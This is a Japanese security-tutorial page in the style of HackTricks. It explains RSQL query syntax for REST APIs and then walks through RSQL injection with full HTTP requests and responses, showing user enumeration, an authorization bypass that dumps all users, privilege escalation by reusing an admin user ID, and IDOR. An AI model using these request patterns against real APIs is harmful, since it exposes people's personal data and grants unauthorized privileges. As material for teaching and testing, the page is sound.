# RSQLインジェクション ## RSQLインジェクション {{#include ../banners/hacktricks-training.md}} ## RSQLインジェクション ## RSQLとは何ですか? RSQLは、RESTful APIにおける入力のパラメータ化されたフィルタリングのために設計されたクエリ言語です。FIQL(Feed Item Query Language)に基づいており、元々はMark NottinghamによってAtomフィードのクエリ用に指定されました。RSQLは、そのシンプルさと、HTTP上でコンパクトかつURI準拠の方法で複雑なクエリを表現できる能力で際立っています。これにより、RESTエンドポイント検索の一般的なクエリ言語として優れた選択肢となります。 ## 概要 RSQLインジェクションは、RESTful APIでRSQLをクエリ言語として使用するウェブアプリケーションにおける脆弱性です。[SQLインジェクション](https://owasp.org/www-community/attacks/SQL_Injection)や[LDAPインジェクション](https://owasp.org/www-community/attacks/LDAP_Injection)と同様に、この脆弱性はRSQLフィルタが適切にサニタイズされていない場合に発生し、攻撃者が悪意のあるクエリを注入して、データに対するアクセス、変更、または削除を無許可で行うことを可能にします。 ## どのように機能しますか? RSQLは、RESTful APIで高度なクエリを構築することを可能にします。例えば: ```bash /products?filter=price>100;category==electronics ``` これは、価格が100以上でカテゴリが「電子機器」の製品をフィルタリングする構造化クエリに変換されます。 アプリケーションがユーザー入力を正しく検証しない場合、攻撃者はフィルタを操作して、次のような予期しないクエリを実行する可能性があります: ```bash /products?filter=id=in=(1,2,3);delete_all==true ``` Or even take advantage to extract sensitive information with Boolean queries or nested subqueries. ## リスク - **機密データの露出:** 攻撃者はアクセスできるべきでない情報を取得できます。 - **データの変更または削除:** データベースレコードを変更するフィルターの注入。 - **権限の昇格:** フィルターを通じて役割を付与する識別子を操作し、他のユーザーの権限でアクセスするようにアプリケーションを欺く。 - **アクセス制御の回避:** 制限されたデータにアクセスするためにフィルターを操作。 - **なりすましまたはIDOR:** 適切に認証されていない他のユーザーの情報やリソースにアクセスを許可するフィルターを介してユーザー間の識別子を変更。 ## サポートされているRSQL演算子 | 演算子 | 説明 | 例 | |:----: |:----: |:------------------:| | `;` / `and` | 論理 **AND** 演算子。*両方*の条件が*真*である行をフィルタリング | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` | | `,` / `or` | 論理 **OR** 演算子。*少なくとも1つ*の条件が*真*である行をフィルタリング| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` | | `==` | **等しい**クエリを実行。*columnA*の値が*queryValue*と正確に等しい*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA==queryValue` | | `=q=` | **検索**クエリを実行。*columnA*の値が*queryValue*を含む*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=q=queryValue` | | `=like=` | **like**クエリを実行。*columnA*の値が*queryValue*のような*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=like=queryValue` | | `=in=` | **in**クエリを実行。*columnA*が*valueA*または*valueB*を含む*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` | | `=out=` | **除外**クエリを実行。*columnA*の値が*valueA*でも*valueB*でもない*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` | | `!=` | *等しくない*クエリを実行。*columnA*の値が*queryValue*と等しくない*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA!=queryValue` | | `=notlike=` | **not like**クエリを実行。*columnA*の値が*queryValue*のようでない*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=notlike=queryValue` | | `<` & `=lt=` | **未満**クエリを実行。*columnA*の値が*queryValue*より小さい*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA `/api/v2/myTable?q=columnA=lt=queryValue` | | `=le=` & `<=` | **未満**または**等しい**クエリを実行。*columnA*の値が*queryValue*以下の*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA<=queryValue`
`/api/v2/myTable?q=columnA=le=queryValue` | | `>` & `=gt=` | **より大きい**クエリを実行。*columnA*の値が*queryValue*より大きい*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA>queryValue`
`/api/v2/myTable?q=columnA=gt=queryValue` | | `>=` & `=ge=` | **等しい**または**より大きい**クエリを実行。*columnA*の値が*queryValue*と等しいかそれ以上の*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA>=queryValue`
`/api/v2/myTable?q=columnA=ge=queryValue` | | `=rng=` | **範囲**クエリを実行。*columnA*の値が*fromValue*以上で、*toValue*以下の*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | **注意**: テーブルは[**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/)および[**rsql-parser**](https://github.com/jirutka/rsql-parser)アプリケーションの情報に基づいています。 #### 例 - name=="Kill Bill";year=gt=2003 - name=="Kill Bill" and year>2003 - genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000 - genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000 - director.lastName==Nolan;year=ge=2000;year=lt=2010 - director.lastName==Nolan and year>=2000 and year<2010 - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino **注意**: テーブルは[**rsql-parser**](https://github.com/jirutka/rsql-parser)アプリケーションの情報に基づいています。 ## 一般的なフィルター これらのフィルターはAPIのクエリを洗練させるのに役立ちます: | フィルター | 説明 | 例 | |--------|------------|---------| | `filter[users]` | 特定のユーザーによる結果をフィルタリング | `/api/v2/myTable?filter[users]=123` | | `filter[status]` | ステータス(アクティブ/非アクティブ、完了など)によるフィルタリング | `/api/v2/orders?filter[status]=active` | | `filter[date]` | 日付範囲内の結果をフィルタリング | `/api/v2/logs?filter[date]=gte:2024-01-01` | | `filter[category]` | カテゴリまたはリソースタイプによるフィルタリング | `/api/v2/products?filter[category]=electronics` | | `filter[id]` | 一意の識別子によるフィルタリング | `/api/v2/posts?filter[id]=42` | ## 一般的なパラメーター これらのパラメーターはAPIの応答を最適化するのに役立ちます: | パラメーター | 説明 | 例 | |-----------|------------|---------| | `include` | 応答に関連リソースを含める | `/api/v2/orders?include=customer,items` | | `sort` | 結果を昇順または降順にソート | `/api/v2/users?sort=-created_at` | | `page[size]` | ページごとの結果数を制御 | `/api/v2/products?page[size]=10` | | `page[number]` | ページ番号を指定 | `/api/v2/products?page[number]=2` | | `fields[resource]` | 応答に返すフィールドを定義 | `/api/v2/users?fields[users]=id,name,email` | | `search` | より柔軟な検索を実行 | `/api/v2/posts?search=technology` | ## 情報漏洩とユーザーの列挙 以下のリクエストは、メールパラメーターを必要とする登録エンドポイントを示しており、そのメールで登録されているユーザーがいるかどうかを確認し、データベースに存在するかどうかに応じて真または偽を返します: ### リクエスト ``` GET /api/registrations HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### レスポンス ``` HTTP/1.1 400 Date: Sat, 22 Mar 2025 14:47:14 GMT Content-Type: application/vnd.api+json Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Content-Length: 85 { "errors": [{ "code": "BLANK", "detail": "Missing required param: email", "status": "400" }] } ``` `/api/registrations?email=` が期待されるが、特別な演算子を使用してRSQLフィルターを利用し、ユーザー情報を列挙および/または抽出しようとすることが可能である。 ### Request ``` GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://locahost:3000 Connection: keep-alive Referer: https://locahost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### レスポンス ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:09:38 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 38 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "attributes": { "tenants": [] } } } ``` 有効なメールアカウントが一致する場合、アプリケーションはサーバーへの応答としてクラシックな *“true”*, *"1"* またはその他のものの代わりにユーザーの情報を返します: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### 反応 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:19:46 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 293 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "id": "********************", "type": "UserAccountDTO", "attributes": { "id": "********************", "type": "UserAccountDTO", "email": "manuel**********@domain.local", "sub": "*********************", "status": "ACTIVE", "tenants": [{ "id": "1" }] } } } ``` ## 認可回避 このシナリオでは、基本的な役割を持つユーザーから始まり、データベースに登録されているすべてのユーザーのリストにアクセスするための特権的な権限(例:管理者)がない状態です。 ### リクエスト ``` GET /api/users HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### レスポンス ``` HTTP/1.1 403 Date: Sat, 22 Mar 2025 14:40:07 GMT Content-Length: 0 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * ``` 再び、私たちはフィルターと特別な演算子を利用して、ユーザーの情報を取得し、アクセス制御を回避する別の方法を提供します。 例えば、ユーザー *ID* に「*a*」という文字を含む *ユーザー* でフィルタリングします: ### Request ``` GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### レスポンス ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:43:28 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 1434192 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "********A***********", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "************", "email": "**********@domain.local", "firstName": "rafael", "surname": "************", "telephoneCountryCode": "**", "mobilePhone": "*********", "taxIdentifier": "********", "languageId": 1, "createdAt": "2024-08-09T10:57:41.237Z", "termsOfUseAccepted": true, "id": "******************", "type": "UserGetResponseCustomDTO" } }, { "id": "*A*******A*****A*******A******", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": ""************", "email": "juan*******@domain.local", "firstName": "juan", "surname": ""************",", "telephoneCountryCode": "**", "mobilePhone": "************", "taxIdentifier": "************", "languageId": 1, "createdAt": "2024-07-18T06:07:37.68Z", "termsOfUseAccepted": true, "id": "*******************", "type": "UserGetResponseCustomDTO" } }, { ................ ``` ## 権限昇格 ユーザーの役割を通じてユーザー権限を確認する特定のエンドポイントを見つける可能性が非常に高いです。例えば、権限を持たないユーザーを扱っています: ### リクエスト ``` GET /api/companyUsers?include=role HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### レスポンス ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:08 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 11 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [] } ``` 特定の演算子を使用することで、管理者ユーザーを列挙することができます: ### Request ``` GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJh..... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### 反応 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:45 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 361 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "type": "CompanyUserGetResponseDTO", "attributes": { "companyId": "FA**************", "companyTaxIdentifier": "B999*******", "bizName": "company sl", "email": "jose*******@domain.local", "userRole": { "userRoleId": 1, "userRoleKey": "general.roles.admin" }, "companyCountryTranslationKey": "*******", "type": "CompanyUserGetResponseDTO" } }] } ``` 管理者ユーザーの識別子を知った後、対応するフィルターを管理者の識別子に置き換えたり追加したりすることで、特権昇格を悪用し、同じ特権を得ることが可能になります: ### Request ``` GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ..... Origin: https:/localhost:3000 Connection: keep-alive Referer: https:/localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### レスポンス ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 18:53:00 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 68833 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "meta": { "Functionalities": [{ "functionalityId": 1, "permissionId": 1, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.userProfile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 2, "permissionId": 2, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.my_profile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 3, "permissionId": 3, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "layout.change_user_data", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 4, "permissionId": 4, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.configuration", "type": "FunctionalityPermissionDTO" }, { ....... ``` ## なりすましまたは不正な直接オブジェクト参照 (IDOR) `filter` パラメータの使用に加えて、結果に特定のパラメータ(例:言語、国、パスワードなど)を含めることを可能にする `include` のような他のパラメータを使用することもできます。 次の例では、私たちのユーザープロファイルの情報が表示されます: ### リクエスト ``` GET /api/users?include=language,country HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### レスポンス ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:47:27 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 540 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "D5********************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "**********", "email": "domingo....@domain.local", "firstName": "Domingo", "surname": "**********", "telephoneCountryCode": "**", "mobilePhone": "******", "languageId": 1, "createdAt": "2024-03-11T07:24:57.627Z", "termsOfUseAccepted": true, "howMeetUs": "**************", "id": "D5********************", "type": "UserGetResponseCustomDTO" } }] } ``` フィルターの組み合わせを使用して、認可制御を回避し、他のユーザーのプロフィールにアクセスすることができます: ### Request ``` GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ.... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### 反応 ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:50:07 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 520 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "94******************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 2, "translationKey": "**************", "email": "jose******@domain.local", "firstName": "jose", "surname": "***************", "telephoneCountryCode": "**", "mobilePhone": "********", "taxIdentifier": "*********", "languageId": 1, "createdAt": "2024-11-21T08:29:05.833Z", "termsOfUseAccepted": true, "id": "94******************", "type": "UserGetResponseCustomDTO" } }] } ``` ## 参考文献 - [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) - [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) {{#include ../banners/hacktricks-training.md}}